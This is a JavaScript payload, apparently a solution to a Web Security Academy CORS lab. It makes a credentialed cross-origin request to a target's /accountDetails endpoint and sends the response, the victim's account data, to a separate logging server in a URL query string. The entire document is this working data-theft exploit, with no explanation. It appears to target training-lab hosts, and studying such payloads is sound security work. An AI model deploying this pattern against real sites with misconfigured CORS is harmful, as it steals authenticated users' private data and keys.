var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://aca61f871f0c12b28058ec130058005a.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://ac301fb01fdb12a280daec10015200ce.web-security-academy.net/log?key='+this.responseText;
};